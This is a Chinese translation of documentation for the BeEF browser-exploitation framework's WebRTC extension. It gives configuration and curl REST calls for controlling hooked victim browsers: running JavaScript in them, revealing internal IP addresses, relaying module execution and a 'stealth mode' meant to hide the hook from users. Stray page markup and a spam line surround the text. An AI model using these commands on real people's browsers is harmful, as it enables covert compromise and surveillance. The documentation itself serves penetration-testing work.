<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    BeEF WebRTC擴展

    WebRTC擴展

    介紹

    WebRTC代表Web實時通信,并允許兩個Web瀏覽器之間的對等通信。WebRTC擴展的代碼可以在這里找到。

    默認情況下,BeEF使用XMLHttpRequest對象每5秒輪詢一次您的BeEF服務器。邏輯位于updater.js核心BeEF JavaScript客戶端的文件中。它執行一個setTimeout()函數調用,該函數執行beef.updater.get_commands()hook.js從BeEF服務器請求文件。

    BeEF還具有使用WebSocket協議的選項,該協議將通信從輪詢機制轉變為在服務器和瀏覽器之間發送和接收數據的雙向流式傳輸方法。

    掛鉤輪詢和WebSocket通信的問題都是BeEF服務器的暴露。BeEF服務器的IP地址不僅通過網絡公開,而且通信在瀏覽器開發人員工具的“網絡”選項卡中可見。這增加了有經驗的用戶意識到其瀏覽器已被掛鉤的風險。

    組態

    要啟用WebRTC,只需true在config.yaml文件中將enable更改為即可。

    beef:
        extension:
            webrtc:
                name: 'WebRTC'
                enable: false
                authors: ["xntrik"]
                stunservers: '["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302","turn:numb.viagenie.ca:3478"]'
                # stunservers: '["stun:stun.l.google.com:19302"]'
                turnservers: '{"username": "someone%40somewhere.com", "password": "somepass", "uris": ["turn:numb.viagenie.ca:3478?transport=udp","turn:numb.viagenie.ca:3478?transport=tcp"]}'
    

    使用率

    使用對等連接框架,可以使用WebRTC檢索受害計算機的內部(位于NAT之后)IP地址。該命令可以在主機模塊文件夾下找到。

    控制臺使用

    編寫此擴展名后,控制臺模塊仍然可用并受支持。不幸的是,情況已不再如此。

    其余API使用情況

    獲取掛鉤瀏覽器的WebRTC狀態

    GET /api/webrtc/status/:id

    請求

    獲取ID 1的狀態:

    curl http://localhost:3000/api/webrtc/status/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    響應 {"success":true}

    這意味著WebRTC可用于該會話。

    在兩個掛鉤的瀏覽器之間啟動WebRTC

    POST /api/webrtc/go

    請求 這將啟動瀏覽器1和2之間的WebRTC通信。

    curl -d '{"from":1,"to":2}'
         http://localhost:3000/api/webrtc/go?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    響應

    {"success":true}

    傳送訊息

    請求請求在瀏覽器1和2之間發送消息。

    curl -d '{"from":1, "to":2, "message":"Just a plain message"}'
         http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    響應

    {"success":true}

    發送JavaScript執行

    用于執行javascript的內置消息處理程序是%<code>,就像普通消息一樣發送。

    這將從瀏覽器1到2發送一條消息以執行一段JavaScript:

    請求

    curl -d '{"from":1, "to":2, "message":"%alert(\"hello\");"}'
        -H "Content-type: application/json; charset=UTF-8"
         http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    隱形模式

    隱形模式也作為消息在兩個瀏覽器之間發送。該to瀏覽器將被放入隱形模式,其隧道通過的牛肉服務器通信from的瀏覽器。

    進入隱形模式

    請求

    這會使瀏覽器2進入隱身模式(它停止與BeEF服務器通信)

    curl -d '{"from":1, "to":2, "message":"!gostealth"}'
        -H "Content-type: application/json; charset=UTF-8"
         http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    退出隱形模式

    請求

    curl -d '{"from":1, "to":2, "message":"!endstealth"}'
        -H "Content-type: application/json; charset=UTF-8"
         http://localhost:3000/api/webrtc/msg?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    通過WebRTC執行模塊

    請求

    告訴瀏覽器2(不與BeEF服務器通信)通過瀏覽器1執行命令102

    name是選項的名稱,value是相應的選項值。

    curl -d '{"from":1, "to":2, "cmdid":102, "options":[{"name":"Domain","value":"default_all"}]}'
        -H "Content-type: application/json; charset=UTF-8"
         http://127.0.0.1:3000/api/webrtc/cmdexec?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    結果將顯示在BeEF終端輸出中,并存儲在from瀏覽器的命令事件中。

    從瀏覽器獲取事件數據

    GET /api/webrtc/cmdevents/:id

    請求

    在瀏覽器1上獲取所有事件

    curl http://127.0.0.1:3000/api/webrtc/cmdevents/1?token=498641adfe687860b55fb90eb6a4b9789fd5c4ca
    

    響應

    {"events_count":1,"events":[{"id":1,"hb_id":1,"target_id":2,"status":"fingerprint=223c40dcd69ee362dcf478a80d34bbe8&components=[{\"key\":\"userAgent\",\"value\":\"Mozill...(snipped)
    

    命令執行的結果存儲在from瀏覽器中。在這種情況下,可通過在瀏覽器1上請求事件來訪問瀏覽器2的所有命令結果。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类